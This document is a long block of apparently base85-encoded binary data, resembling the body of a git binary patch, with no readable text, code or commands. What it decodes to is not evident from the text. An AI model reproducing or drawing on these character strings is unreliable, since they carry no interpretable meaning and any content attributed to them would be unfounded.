zhM=H(iHI5>%XKxH(AGyDr8K49CK-;#g zksZUOuYTpeLEW+jOqOOcNC%juQ-CorRTd@4(OrCg)?=Hw44AZbtldM&PZ1d3t=`H| zB5Jz*wV6~TM$s65z*q(F7yncRNWG5G$|U8>*d?Ci@9Ek2QEQJG37{ZNOd~BnF~S@q zE!I?YUg-zw^XJlE?z0b{kngdG4kvJQz@oRw`^}tF~^cBAGJ)Z?jbb)_i9x2G^_D zYVd2+^BM=jh<3Z>EoOjaaqxgsFYswnynjbCBRfvLZDw~zEv{DB=DQ}L!<9tZsx9PRYU8tOakJt^9kq|;Oi!uU z>7-_ET;CMJXYj>SyBp|RjrCWr%BRHY_uu!45tCR$uP$gaRLI~QkHoupC^#p? zCO0WD(sXp1b$GMI0e-p9>HEnmyDo`?1F?7*x5^;0 z`CzOPOWT9CiLM44DiBlGh9WDzj^0aJ7{o~j9G0mFmvv#2ZB&RL>{p~}5Bu*K`}`(3 z+M6G4gb(dbFz%GcGmP}5Z3!Ba5_<1S2^M1C#C%#~jODFn;%ybvOsO>hZI7PDYU#J*@`8;N+r!UemwE)Ay~{3bVNkId{d)3G!1F;bf(saRiAl~{5 zKN$AAXn8X9zio#q5k||NGB?Q_{)!=jqfw(Kl#94+eqSQfhLvhdIeEP<%(ENn`Y&L` z6pB(DFd)K_zWrRwh*fw-n~vz_Y=#1Lx4rAM2MPPyOGvSVS*-Ldzf^60__?LKCpj`{ z6DS!$@A&POeSfRzdplD&Z^u8K2l&_KJoJ2b@u7U=uFWYc7s*Zk_i@-;;kSyASvU76 z{kPq6u=DSqT0R$~uiY_u?aFS`0SvdBzblR;s!=iqsR3QaO!(%S(9ROL)CgB(HG?Tf zpX&cfEy|L#5}4ugty3BpOLW$U|M7n~i>jn-9kgF}32zX4eN>lto|z0!8EWblG6 z*S{ICja*RC^tUr%|C!5&OqDPRzcswTt%PWd@o$>CUx5Pna1uHIAb(!Fo;7zvk*2Bx$Uz)5nU6;Zj@xr%ni)d?4l;-X2J za&(@KXe3o#T=#9O@QZSmNAGPdG6;b*ezB9PVDk_zWXE-$10!xbF$D$xDk=7=@T_la zr7;P)5*&=8yja2}em?B%)V7oy^Q(2AiwC~9#mH~r5On5Jl5c^N_g)eeFcN{pct3#Z zdLpp~PpYUsgQDIg#6&GPrN-&92KAU|CFTTE+wCXmi18&Rm!*z2=AN@SdjrpuP@Tbf z?ZhR{0Ie5Tx>vm1eV@=oP4Kfa-cxp}Ni}XKrsSP_HST8Q<<^E5yEy}~xukWhaAFSH zh5>vfaeWE6%=_RrZLoI?g|2a(LcQhc&&Rj#!;KTqjnUj)Pwe{UC^*Dg;X{HmP?rLy z_Zi!X$tYyd?Qi|0JcEQT!hs$gp(Syal7UFk@^Olq66y(HhcEs<69 z?FB%UMI0_~mn(UDHDP}RmPq?7pT;D!lGA%9Nn zSWD*&(yzO>cXiy|78?}gGS_|&=|ISg=NiD2U7Xbm;aNM@WTDqqF_(68&t8wrZ?E?5 zyR%JubQ?)d5Tf?d;#2?%DR18vdl%-TplYr{h5A*sR27`q_=zU> zF$~>y<*0Y(v~?CZu`Zqs1A|fd3C_Cmb698y|!}Yja7VJ;{0yV^-_F4BE)x#XeV@I2JlTSY_D=`SJ_Il6)sWYlYF! zli;RiE0_oa_AB-YBt_SOK1}0J!UCqd0%6Wz=UXB9vz!a28N$Ik{Z%|wzUz=;2ESli z_~{4ra!+Z#m{~B5uh=JIigR$Q+KUs6-e-l!*{Vi~RN*sD^r--=wJ6kB#C%jRwM5Df~70?#^a(;VDl|zPJK@5WSyR zk?$qVpH-o7lIG9gLxtlDePj#8H&nYC2stX~w?IBaf?L*JyrvcxiXNgV+j5u$S9bo4 z*nD0ig`R`j3_%O1ImB45QQRTo7_Q?EMU-jd3?6949vL;X|gR%qE4ubHNM}oTZ=>+ZE#Wf(&VKj596_ zfzPf|S`I<$kK}vk6C9ZWI|1rdoihVZ{)i)QV2_*`3PV5w?m)YNi;v;==Fd)>XX&$7L$6H z7u|@hI19C?F3eJ$TsaLEmAIMN=KC8H(;fx0{GdV!z>S5chr(Qqd7a~wwI#&dnI$gz zo*8`D9uu3rc*2WS9J9bpX1X4ThDG!8o%r%VH7{)u;4`#|nva4rz@^G(OwiTwN-LyKMbkx4FexkIn9m~6Sg1P zDF7!cSNZ_Y9~Yd10eqeeZ`nvO%T&yeLHt;F?4^Rnm%C~5^Uvzs+FvE?Txs7JD;DNk z@=J(pX;evZ#(04kEpXFDTyVh6Sdl-s^#3S2_kfoAKaQWXvs-Jo?(4R;Zc4XxkxJ#P zbtPE|6S6J{VJalaS*w;Li;#qskn1z|+_#nrVUnI9tc!%OTtkoj&hPL2bGGx{_j}Ig z^ZvYE<;-yjM*&?tgWY^eZyCBq<$k9t^#sbl7U+gJByAQb=fQ$%DA4SkWBBy z1O^e_T@S%&p^@zR?5L*0HzhtAZ6*a*m{n>`_oi}yg~Uf=c0}wi$=suoIe%u*@M%oT zNTxicB+evo98(*Di5SPw^^eR)il@VvC!J?t!&7ndfOr}QvVxHrNufw|v z?NVB#(}@5&T~LN~exyX0E$F#`fUGxj`<$pj0GB0Q1rt`W5;r&&uN4pi9!xRyESap3 z^o1=E20(M|GX)>Q0vHe*&O}$;aKDyWySU)HC4HngQt%Yzu9gW;`09G6!IB%eb{8Zq z=BD!rQ86o7c~l{&jDi+8Rh&>j?4aVqURZab4APf)eN0+0-pyGrqtGvkYNdrbLJ9}P zhX7LmX>JxFzm~8vc0qBicnv}*gtP9Fd>}n%vRsQ+t(Xd2c@ZH$sLVkTjB;~3XF!Pgs2CWL21>($|@+!TaoBDZsR?JeGcYedrg zeCY;$iD`MOOAuVwTZnd^JMh&>uwyn>XZekHQ3WsCDKGDeC0bt6t%c}@M#VfVa<$UQz8A0SG zaR)Jljk);<`6b^ z5>{l1?F408nk9Ico~e_r_W)hp@k{<8zPX>`w$d_|o;`xRvEAvUJzQ)tz3T?pZ2TiSKQZAss3ckpnwrapF<)1rTAy*ySVJTyKK!{(mH4<2e)?r z`0vk87Or{e_Iu--7Q};PmUEPvd;i|6*yCXykPX++4qcje`PI|=m^Afm>_NepTZZwD z;$1}T&*#M6YH{&+Cll-j~i&-KNa{^52u> zV-~m8#{}Amq-!6aEBs^`meGM%P0ye?{k=B7IwGEGh6G(F40Ge@$>;g^ei~Qq@pcLb zGH@rk3zcHX{Yxoyd=tMzjiZ+tVQ&2OSv5@&s~EthI!si5BvFUUkOsab~6IbFsK zIQl{856|5(*8h;ZG1$W3jAc{)=p$+)jx`)hiLje+Y7HLO474-D8cXC4GQCqyWc~10v zBVxqPus4xOc&D>Ou8Q&JH0pr=)${}+HXn;x4tDFGkh}~%gXW(tc0$fb3wb+rdbd__3A0(hdj`hEx?Em7sGAcN zhfdbTwfQ=S&cXsQ&se=l%&{W(ep?JL` zZ==jlS*1a~oe`)LLPuK~q11nmbtl*hiGmVnc`%Hf@>w9Z!n+ryJNy`rvT^ILDqJLv zi;@>R=pI)(Dux|M3d~eAeHY!*;CC}fc{=?Iz>GCyFc%|ea5$;NL(p&gbA(Iq68WW! zx|yCTz|OAPd-3R$2cFO-#LOnD_5zvB)XVRzKc8`C!Mf$lCodkm2daE=HDaszK(R-l z7&*SeYkNwcqt%sVAdxOK8_&WmxHkuY?Bsx_vVD5qF&P2YQ6t#g1?EYzTz zW3!WmJd#-&km;}v&H$5iRm+L0MqPP~<^QV|VF32XJpk(}-kD05*TrncDJ-7>QKM=L z7x@gUuM#oAPDdJLXr6HN#ma2eZamOBD+BKNPk;r(}`5C->z*}Em>+oR+eq#JK?afQ>UrP!Qnm#O)sJ^p21>I?_#D#rvix_=_Wyj z5z)<1{5jAUxto(=@9EYBd9RGSB~NR%6`9o!MIO%@$f$c-qNLYX(-O(bntwVwoEqnp z7Q&DZT@W4K2VhdR%wl-4j{EJoQnl7o1>m&BAsTM!&fjKoyns4aAUlG+k-XWy=FOqH zYG|n`5hB32=^M`9gFgOUu%3<}c!i3(jx99#3P+Pn zi;?Ll0U$$=>2&kXi^#%DU||~8NQSvfF-L3&D(Ap#ep%kPR$yo#W(pHd$RVjP?)kNz zzn&4cJp__Q8-PGT1yFc5$9zJMH^W}LPx~9eoSd=$z6J(Ol3QI$!<3s1g|^OE4%^<~ z);js$>!2}9iN7zB+QRek=U~9Q@ijI`Rebk9s;16UwHCCjHcgE;lu#WNj!{JY<7CG+hqlo>h_;;5^pK{4 zV8OX74sN;oK7wLMvkF}L_lKuiJv;Hhr*DPsL%=~shINAxhP|lYIHQ@jvQOA(GLcr5 zH@TB5;O&9x(;aTgF*aR7+`=Iz3v7sUFjnMKxIc5%n{~WU<~UIIS8^ZC5F3@tN;wFZ zt`)>sUF$YWURk_*Y2rN(0so%1q&TX;XZr&40lZaU!cW6XGRt%^LKexWa{ zQTv-e!+uH4`Zgn;PpN1-^*mh zAwB&iTNz0GvsQ*D*E_DSIY?>B=Y{mV$`Jr$Y?QMi+K8;;H7T!z*-P_ON%nx{7!uN@ zwy5R45UWB-Txb;V+O5Yi;Kac6(8@`njTFvoYE2o2g$dV2 z(BgqAd!*_r2CPYy>4AHB*3~!3xEiI?sKiZUg3XKw&%$iS8kwOSGZyw>kic-?E7Dps z&xliI-K6yGlC-UOQ2L*G4_`8&k2G?|G}|Eu&pg1(;6thh)Ai4a%mJSXwPU;$W|SKm z@F?vdR!6K_Ab@F2>QI6B?`l zUqPYHw9C&=-FbfcX-Y(Fr{Ab#pB6CM(>A?Cxp>}_=AkHiB^0KUIPlHqqG(D!?*XfI zs*dNzdg?4_4|PE(ZoDw$&90h9Q%9j-R~XFP9stWAPhLn92o7=o3j%JLSNfv_@V?o% zKBi0-n#^4%Ih{{uv`AEJJBt!%@wr_V2(MmIwgM&C_3;eWO~Mru5H8=YbN?OahSD@s z#mEC)Z$Qg`Cq-|tPEqzH)R*Eo<<>G4F{D0(g#~{1ISLm&@mk!zR9E1=Ep>+d(`SwN zJh4B=JY1(v8sdIH(dZ?MJ!HU`_Hl5H+Pvo29R}dtc61BgGOP*m=z3|@r$*xY;QB+5 zLKQ|-FJ1(Ip4%PF%WV0QX;{nfQ7EL63n`?=aH_a{Us6egaV7!5#Js)BM70?tHUCtoxxyuGLM3N?c1efbgDi0 zh+`kmg$R2`Zr?JwIV5NV9)A+X=NUlx9XQXyI5HviBK7ngs!fk8J(6HsGE%;`xkXeH zlh_=15^B>)mJIMhWoiS8LX3sNCnUiviER^l;59;?#WzjhVXe|b@GyKOf**pWDwLnj zyv;$KCn7na%C-^TJ1vh#sd3IV2j}k)W5@@L&$Uh)Qit$)uHWG1%Xf{NBq7O@OY0oU z28^VCUA{&cHx8)7nt5KKY_m3AkTWtwPPX`qnLYt7h)0ZJb*NTlRmNr@7JF}~Ek)g? zL`jHJvVRzwRBpNAS-(7Dx6C!VdNS6*(Y+!Bu|RRG&M-=ebRFeQa*pE1Wj6Id*Zf|B z<(TQs5!EMO8?@Q2VBh_^%kOsPz(hJG*b^5tgfZ)jj<-{u4|sr!O;E-1rUg9ceo$l4 z22G8hU$_FeSRX-ho&kP4Y!1UmPC`@AZuS2mb>blxWim#+xHkN+2_HZcr>luH=TWAn+T)>ESu`Y4sD2)S(e80)X%m2?d_vGnbc~>5<6A zo1HHPvpi%k)i$T&@7rZY{N+uWn1mHHP6C{AgSb&uZ{>ajx+l~%F!^LHxOxTLyoF0* zK;c3;DU~r}GUIF@V58@8?3CoDS@92tUR1)JZ(?4TtYK%?VVYDL%en}=l*Brmf!@gr z*G_6Y51}h!JGnnB6Fl3SI4>pPm=TTOJhNHsa!Urg4Dlw_9CcY1LB41cdLv=9tIkjR z9JW(3d(@%Mm|M@%DbB6Vp2d!g{izY{|5knsk2Vdj0x;-3s#gblY8`aysj}CG%GPjs z>%0i!8vS;s&UY)Cc)WO)npc_!*7l}U_pI+cSyz*51 zH%&s82dX3*i|`2boV>~o;psk=49qNePrw7Vo9oWK>+k5Pt~R_4=5FxhmA7#Hdw5Lq zc3A(`4sh4MQ_nl9A1+3~04QvT3l?&N zHIQF2hS8>)(xTpW%x!X1M2C)mZ*i*(0bF#v$yztY;D?>dl-PJUIf?!5{hN}#G5=>D z3dCR6D63uH?dnw%zaznYlA{%iEGM9V9t2dXeTS5cF3G;)6)t4Bf_R?2Pt3k=BqBj! zJz}4Cbi%ho9-SwKN)8`<|0$&QGnj|w5+%NQ=b4_V*0HZ9xE=Dp>R^#IqY`A~`7?mQ zxFp23zSZ9|irv!)*>PvosbW5whr3}6&9~ri0c2dc=1IfJlYVpK^~f|i!~niA^1fPB zD$|ZGc=LQR=hOgMUy;-aE>2JqrYI|b6nnvfs*2E@_CqWu^>M4 zXQoFH=Vg(d(p%4S%)5i_K>}{5?P^zr$X8hhLets~Q_a<{DvK4Bl$*uL_C>jcadgJF zFRpj?-9E{kAF5=8#$Za|lNu;63l?%zcaqhiidAjzbsoqm;|WZ7a>V5X_<6;Jp@W@q zO4vn%3DWa|Cg5JaU)X8SleJ~%=}9k4X`a16pHXYF&huh(v9U7=b6U-XVWMax6yZ8% z#d~?Qbq`2>;N3JOsj&d1_L*2;oZVf4@6VqZ}czn-ZCt$EQ`UV-9xfE+uU{eKcl zEQQ!_2>vMXa#ltkz^w`RSCc zb=^>~7BM!fU;R*FQOTRyCsGdUsrRuob0~atPWL;_x)e2i`3?-?9-=RHK)B8=&=go^ z_Ge?4-{K9+yiW>&kQSbGB^Tb9Yh@m=Q6piA+V!JX6mMflEikEm-T6Vk%uLMF1!PQ* zD$ElC0=lmV{3hWB?f)$2Y&Zl~LLsqSDDn*$ROMj@L!$aUc{0ZfXisP9;<`3kk)+4~ z(eu^8HDZ&hM1b=IrH6*py9HbVhQLOzV>$8s*6A%@z}`34SHUDQ*W@B%DBb_+9UHF5 z!?fS|PRoAAD5CGK;*(?5(*I*@VmYDATJoG4Q~Y^F{i%SdNgb%gu&LG zP#|4dgy1~Ofhz`e$UiP;zQbU=y@&n}C;)>`Lntd5%i)G&c~I>{MCeKr`E_h{e*_;M zMaKfi2Ok6?tBoO08HCGQ8LnxawGaMm1R2$y`;3MwG7xIHt&t!OGVd+;)qF)e+2`4p z#5)hcHf30w+QJ=6mhnPs5U<-$ZyZ74tJ6T|;;;a(Yq|AM*S(|+UgOK0qVa`^Pg+L< zk=wf^^TlZ)dE9FukieieIn8_Nj_N_$U2EV2cCaBt#-qn}(*} z>*ehWTN}beCZ|M3ah2vb)Is_W5kN^<%&)2k3LQ+ku`+@sg6T#MN7KjtvN{!MyyA%Q zLVFFePJ&};Kl$!Q8X}KvX->)>CzuZ2-)bNUj5{)ot}f?vHu09}V0O{56QF|BVO;*vgob^Zf574~Gu=bw-#+?vl+Jy!fY_uY^L9kq>3zW475Y&l``v^yfsn}Zh|s8l%g#~?_u3o2!$ z=o{`R+ESa3R0V6t2mWaj!USemU$C^oC@@ILC^A2>=G@AGXGZ|{mf(&GJhM4%-%lIO znF|ERyHeCUf?7N`w4|kDSLjuf4znaf$M<1^;40>Fq7ISl-)pnD$5D{&-tqh3}|>*PvQn?r$&u1S-gM{NW1WM2&zQF zJYhI)OcXQ^9Zp}F#U^C`b%#nIU9hXvcc7sZ6ZPpt8{pcq;<#-2xu?AtVxAUvI3~4c z$F{<~?!~(OEH@`+W`3<)9MHSs7y)8lJ-%$V-Qs^qpR@r4gIHQ?I6JcF?F)@QJv4Cb_zT|Mf3 zH-^DXjcvfQo0P^+Z+p6>?a#+P1D+9=uo}zE(>pN-bIr$zC6PbGrKQBhA*gR^YL=BX z%T&-nVWGEdTV-bI-R(o;{gtLo2&oStFj$C*>1nouPAhed6;K>>@Ycfpoq)^7-f2Npd%S7jEsBs+p+k|dBeV2T5tRii@=E0U`!`)*v`oj z{(b#;3Tq~~w3FcMDWP>`mHD3-aEgwGC`H&o$QghxjSw(XM>DK_J1s-AB?o4|0l+n= z5Lzi0Tj#~v1a{VRD9cVgRLISKamqdjCtcqcq$Gbw@JQ#ShS^%k(tN~Tk)(m<4jnPI zYMZ$k@8JGEM*4(TYXb!#kOBq(y%W&z_f;Kc4+)g zxZLDraL?04TeCWXvrI_4C)9wfJSMcV+GwswZJQmN4P6t_R&tKd4JALgs!gQjjka2T zZt1Y2Y7o!1JJuIj9n&nY`c#G@#Lwk1zM{&O&TY@>lUN+h z0E2a75WS{r(ff-&Mc?ngrrYVLgNxfIC8SYulBtDbBlvQj=KyBN(P2;&<*Qpq4P+^c z42IYkD?32^=Z=#xrCIECewMMrHoXJw*s$Y3V%41TMq*qrye(#3dTs4O>pud*l!SGZ zGY=}_tXblaAMBl`LZ!!~_%y4U@@fn)-~OWZPKdUFxNgd?yYziJyuN_8yb@z^D7B1Q zk&i6XsVQD}%5h1`tUR5gS*twSMi7nLAmc%F={8so(sG*{8RM~pWfs@P7;U=4M1BdF z-WpxlVsgij^(^??Cem!DBUhXZ_tq%Z?XD-Emr0v`rS_dOo~^~$7T4Z&|Jz@+PTn|s zD2t2#+knKW&S#`^1@8akmaa!Zw7s&9V7(Ym>RGxsUkrzHtBbb>y*#N!{ikkc0r76O zquFtwBXom!TWlr>F4YqJ9V+%`=%6c{i0=W?59FfLgVt}C9;}W`&sf2Sm_yo*)hrQ# z@kR$y>Fwby>qskFG90=`xN9z+O)qqlmO$1F}aQ)EB#9P~f@Qwcy+xz+iP);*y8MLf|QF;cLZzjXjzNghzy zRS18yR>dJ_u%`VE^(w5V9DpaArRcyS#O6nuT~@!9mhE7!0wP%ZHT_IkztwO*bCC*2 zDvdK&TAiO|af|KnP-SE%cVh}Mt~%ho&R)R=|5Q647joX^E4faJ`Mz45`gaeD@ z^oX_JW_Uh}}JqoayaT1T(tQ$TmVuzRs#Q%{Y@p ztOM;W*IM<8cp5Gv9j;E`LPW8>B?txytq%7)=vDSj4JK$rQ^>MF`F-izyOj~pSvl}I z%|Qd)zs9mJNXxcSlDk0D4$q~EMBA(DcAym3N|k-ZCt|BN7@21G3UtUfB_|0nkva=S zzugemey@r|hoN~xjNt~a2ni-z2}d_rJ{rE4l61xLKA5ol2@2?9!Ac$I(5|xlR-Pbq zj$p9}u=w8}Dr+DE^&Z={gUnZAn?UZOfsY4@#Mq+ML$!~s8xn11V?56)(e>r_hpM0jDg*_&egPeZR2E}m`-ldh0z{KUJ;=142H8l|5 zzr~?cLYp*SRl0i+$n;}-_lkuUr@#=d-McjA5E$FaCR2sr36QcMu~DQMnd@*VYzGb- z6t+?N`P3usp7aKrYdb98Ber!7#0_KdPx5BHs4+FLr&NmV+sBB@T9IhBU46G*K^i$) z$Dtxt+J0)$ygUv-%r++nCazj~|4Jn25G~gKWkY{2^(`x2crgJqooVvq2S?Z%)O|Ux zE)wps%<}PZHW%)=<+$*|rO$mjW|0c-mdG0!Vs&3GDxs@uv6$}5pB<0h@6BrBd))l4TzQ9vrOkEm1v5=lZ8`o+n_PwGJU6a(5T+?v z_N`*v!(M-HP0o{fpksTEs?DYNCnrcQ8VmeIT{{{+t|O>)l`ly zQR@geFQXWf4xn(*l}|2%;|X3H@8_vl%vakf>NQQj6GD`8>o|_dGYD(B1JQN+mYP=K zn){i1QQz`XgsMN@r4B+%r1SEg?LpmC1* z7#MgZSM~jM{e=@$rRe2%m(i8ihLtYu-ocL@1Du=lNP=_Ezii08k})~xoFIA#hSnLM zyh6^Oz2YZWue5t;=*RI#JuZ%z1v#yLv+=Si%Ve0FJ>zYuzsp)M@P{^Yt=0Vy9vo8B zDqd){kiuBAr`Y`q+obSc4*IeXbd(z5qNc`wSf=%`oO&*3eB+XV_1wn$m5_7oeDQ<5 z>&zHyxVmV**PL6E6ra9tKTr}kd3?*IhauaG3xBobl{2D|xvSZ_YTqEUgU;3`tk$x1 ztKY7q_ByF2Un#hRt+t-O2KiCsR9oKBD{}bBar}32ux{P%#B!@)zPIc%nRhO9f%uF+ zRT`Dna$je#Jl1q&<4eYxFlhhX{c(-Iz>C3(m4eIq3WqunQ?z=O+3z`8C#~d`CHQtgSb>nGJqqHP?SwC*Y%fC}6 z(}kBTvHYi$FDk2f^O{!|6urpJ+4DGLfzp!MfPF7OO8bx8EZDgHcT?ig$XQ>{lop(g zDL6O<2ATawOJxc1?IrHiBL)x~3lnr)d+qVFFKnV&F~>JOKYoAdx$OmwlR_@$t7v~M z0xCDK!W+(>G^Cu1Wr4qk0&X?#@qf|H3E2hy*ku(m8t$}9TT1~igGp@jZ1}+ZqsP=K z#|WF6XQj+Gv)%Qx_rmOgOH)l+)+w%7Bw9ps2@fw{%>8p>>8UWu^X9l|%)@_DN<5Q`>o0{X2qM|d}MolZfTK^Xe0o}MzhpY7pV^)1+~K7 z0$6@&VOz?9OH$ibuaF~iuVr-gy6Ft=pF5aQgQaV`X^KH8dNl1ycPrTvrJ=98o0)PYf11zgP}2H+(v>c4tMWT9*xuQ> zuybkQ`Hid2y6ZaG*AGhNR(E$CG>EY$5wrF*98cbqHqnx6*RH=#YSnfB0J%E2UOnC8Udf+1snbk~f-ZO=B`$c)i5JIa+Pap!z?5FU zoz{ePJ@|AE`dAaz?z^~Q=bu6^R$XjZ@2_ds=P$f-e^KwO>x~QTt^}tvFFe24{pQon z``0>!qH?Mmw-?@@|7X{)MN`oNo~hU*be4JD^6UE+-`{e>rD1W`;llRz|CDAaew||U zvBicwTFSQWbT>S|yZls_^b_tHXxjqXe%bQ+s@S$!Oz37Y3qWG@M0;A;&AE29Z$jD^ zEOMB1?fQ}H?GFl%_=fep-uz1SU&r<>gX}~7>K7L_ZMk;$4!-pYjqmkz?$VYzvBQ@J zJ2&wfm(**e^@CdqGajOCHuPvd)E4}A!0PXC)Zeau>ifmF9&8>ncFa2W_l3m|(BXY< z&5;8;1*I7ig$H?I=OiyjE_Iqw|2tOgWIx_-b5basQ9qZ3*nB(q`q$#ux8)wN%~06j zC1Y->c*~umsoMVExts3y9R782{Rg0sZP%On@%v&E&w;Mnn|s}_yd4Wan)~1J{zC)e zk1swJ^+Q`a_Prcd88Dcf#@ExQzdoRvTpsoXI`Hh~%g<8_zUFSmMzCXFHCPE)m$wxC zJ7>vYqV4xN;pf*I`l8;Ri>rHoYSxkO(-sEfu~pNt5de0VVSLMP-?>ZjI1XQZUI+Nv zpE#cSD0lIPXN#UcSiEY}>%ncz>pnL-t(Oc<`*wnT@JH$OU$)KP{t3OmbkQB3L)S9~ zLY__fw0X(!)xFl*YxW$;MZhb5|wp>EM{mmshV%v&M{Uf@vI0JB{k=2@^ z*c|7(yB++!GlNW)@}xwU)NdnxN7Quo+ei5z|6mwC75*{km(SJ%yG zucghrRq=T3T@e&%9}w)Y6oK5F0JuiI+9FL;3Ly$CR~22PENv*WDLKAav}R9`e5I%O zsJtA%>`LnP4GXjgo_%)wId^D zLE>}rGIuVlj^sk--5`9$Zq7Xi(3*k z*(4!+Tw%5yWA}cO3`&pHdWk35c~s+`rE8u*kpaAimXyq8&(A(PcIwjwtFSUIb&T)yG5vi4-v$5h z?`|}qs>|IO;4M_LPoH;8^fnxOy5Sq`*1Hgycz2i0fz|&=a)QKd)KH}jq3_F#;j`5I z`_-5QBFQW&{o-;9qpCjWF45a$w98ca{Qc7$OZkU$TMP^Sm=UBX5Mpb~56#Z4}VF`t(py1FZU4Ao&P6DZ2nboMkNXSd? zuYU{w8&vB4Ua~yrkO-Sp?C8m}|LPXwQvnp0!T|B|c*itlHHj6Ete$rcAojtO^{0Hv7d@iityMZeXcEGG1<@N!EqK>Ww8Bcu|< z&+GpfV`ONC0(yO^vv0r)JQp-toPJDk&B~6m%ZII4)#dBa#1kd!Ky6)QUAdd{`ctc3 ze&7T(z)uOQ9nJflmgL>{A3nNIR?*|L?$_~~f)6QWj;?<5kIdwP-fKDvows~B60f3o zdy(Aw`c1F2Y?$(?Xy;5B906k}HDZU_Cw+L70OatEwXMN}xbawC9W@RM?(ghyKutR< z7{XaA>lTCcs;bH680J45WT6cUSGb6mfn}@g_3R3Iyz3@x%B%g%^_J+=3R)Oe;aQr} zO~OIq^9vNN5=YT*qs7<<%vos8N5@e!thGw%GOdUE7A%_f~U&*7o%g!r*&1jqkB-b8g?3Sb5-F`F~O{J$io9wJvpi?aY+}s#|zu@YM)>FXYxkF)%cs{WjlYn zi?UC~Ede~nr#&18_GOl2EtF9h{X^)XvZj=i!fmd3&c_pz(At6&G*4`|NeNpiaIJ-IOQB{RB?{B zgv=&{iZC`ZecVw23xBpV#%1LlPYPdoijmz}wRs}ra?pZyUTQ6jmb%t&pxn1R=iHer@)&PaH}?!43g+9H7ZXdE=PrOSxWe6MGi>l%ijr=iEg3P zMmnukgssg3PIIUaL?{rF*s7pj*I_IHFhoXbxkT0KNm7oI-eg zgxage8SuiyJwH>E<`Ex!mfd2u;m2+t8T`e_HxG^QgKOJ0cfx-xB-}%T- z5zc$Wl*GdID9Fup>cCqf1xVeo4$x}Iy)x=q9kEA7-3enz3T&ARsZT-e*BG&P7n=4b z{sHi|5lLV9D{u(;EgiqDR8%3OHt>O0xzw$&@gPh+EzBpWpsN5idz_ZdO0v}e6$QzD1> zSwmT%bjjplb`1y7_}EV{70rm-0Bbzf0gwP8l*j4LlOKo(sQ-#OL?>CxKubQs%h`i=>D7Me?O3dEc@2U60So5mk=YwljzrV3Eb=&qxZ}z^XN}R2jM_>!>Z9lS zzeSO068Cvi3v>rYYCrtEVk%l;g z(>lsq7TE__|8QslgAd$hEkrHVG$FV!2X`zP`|;RjG8cn}>b1%ZYbJTNM^Qe@2uYW* zeRP_TRpT-MR3NlFifu*!$uO=ocAH~?O#?P>6Z|Q|Uv8OprUM#cQAiq$>s`uQ6u>8< z_5*mfvY`I$CVd*{LnqDNPfCj0%1@m!o|VMVV?HRTBM3#IGk&MU8x;7jI_gWAaR-Yw zq~E@!f9nVqkrjL8vPjv{l#GiYPG~$KqCCDpHGf}W#7Z2~kgtk%j0=sMmqCLH+Cz?U zKSG^Q7#ZAUdyc@gcN*hcO6sVbfTueWb;Ngk6vjts73G;$Pk)3^n-S+7?N&Al_oOL= zA)QgyG5X8#wL6uQ89GdZj8rq1a#~3`tH;=90t-0Q2^sai!q~u~9RlodvV|QmRgVG) zW2wtTK(apZy@q@lMaR*1yZi{;X}Mze25F2CI3uGq@-cnrC_aj(iYKARmdVI}SD|XxBM_t&A{^P(0;Z z&$YNT%4qi$SeIc_EUV$H44^jB*MDcpH<5m6jGmR4xF{-n^mA3m0fX^#Ic?>le`T~c z2-%=Kc31>higx~z5!g>KR~58Px>Y7x3#|DVg@^_# zvmG~{Mgc`a1(kYl8&yvFC8S=}k>A6#K2a1!i5*604`s%^2nyECJG_VXR!_Ug7Y)mx zN4zr)3gd6+cCO!qQas1Y$>$LAXAO0y3^3EJoe)w{>hbi2WE;uMu2vAQH+DbCpK)#n z;W02@M}5oB=RI8jRfD3-d;6d4b`dJMEGXcYh$){A@3q0Z%d z&q%E7R#J%p+mK|+p?!_Fulvy7Y za9pmdbs{u2RQ=OMx0_rXE9=7UJHDXi+TsNd>KykDYOfI-w_e!V5nrDNBWrL5LrMDLlT% z%66=;5);G1nrobX206^9hwn$GMM|~jfb`v|6WM_ZG>I9nG&i2U>5nC&M375YiP%t$#V5V zoB{ob;bvb2$DM<*UPMV;b(#fZlK^b^4dSLQj6rv)2f%Wa*ynuO+!dEgukN|O=!)GO z%s~aM6PUJaR<(WgmF!?(F-0e_n5x*4_(XAoSXjr{s7N7Yyn}R|o7Y z9s13s_@JmSo9xp|o={+2I0EF z8rn)3b8mLMfBAP=>{0bu!Q;%MuVO5Q0$=Ih^y&Tj_s6x{#+{5*hOg+0 zZhgFWYfpN*2G)KOPu(E{eKS}5%cWqr=vxG0WwbW-$*DuM2o7i<^E8qn-vCOG8X&|I zr@7iLn)%+J3-E{MonPBbQDet@TS*DPEj4vzFVuD$8$+i)m8-Sl0UQ_5;xx`~p<6yv z&|)+P3AyAMIN-dDCZ@l^0>BM5b(?zipZl+Uu`WIW$`xW3qkh-R>4V*Q>(0QmV=%C5 z!;kYm)$ws3Fw6fQX9LHyi+BzwwdL{!s%~ zz>@oN&_E3==F&2bZMff#P5;yXBTQ}S3ZS(8M*)tc-tZG?&=X+(kz)^tqMuQsHxUx?TG{v5#HfP42!6(75?;lq-y8eND_`v&>Djs5dKPXC9&2vvAo&OrK#VY!WzOdmj0k@wVD zWFO7_6J6(PL}d2qtv$JF=09-+Q`v>v>yA4?#(sYG{CP)-War50URmW5ZHmXr)&h2f z*=3t1U%wR5xzuX>*x57r^~fC8;w`3vEFGugCiJx~2x5DDZB6d_OB7C#1p$}Ot_zs8 z=Vl(;GMgxrUnM7Ut&hg;8bcc|G!~f>{9tM>`8_9tgYk;M1^mc--0|uyd!E9~*Hs28IHUa;2rNE`J>0?&6;)GuE+ z$8DQmM)|Ugf`)R3mZFn}-VbV?S-G{OWb8IH^UtW{O{O?jxoz4vdcb_gwYTLfs-Leo z6j6F;#mDH*EhBrj9Lrw4S!#QItj^n>%iPiAjz6|?YnG0XH|5Y}u>8;G+lEVQ*XZyH zdl!F?PmwYQbbS=)9GVU- zmn}BD-!0|vRl2zTA+L>n<(Pg&lagO#`fIUe@T0Xq#iJh65_*^ zw1rV5$iaSrD^<<;nEBp(P+0z|a{W|87VJ4aM9|HIF`nGW z06434CptU-g&FzVgDWcjHf)Z%OWxFY7!%}3!^@FK+jz+u7mLO7S|dVsJ??U?9f_XJ z4GZZ>_g?gVwd-Zne~m8aK4V7HdbTI zH?_^zrrs|7lj>}}*YW{541?k-Xu5_j!FlxRY6HB0@u)73)ZrtEZ&zr$c*r_tm^Al& z2+oR#`?S&f0v?TuuFpltYz4MpMgbbu0OV?&%J8VWR;D#v+SWXp7XldnDC6Nh5SN81 zPUa}M;y7i2%U>r4UdR76Ryv1cpVU#$uS&zM 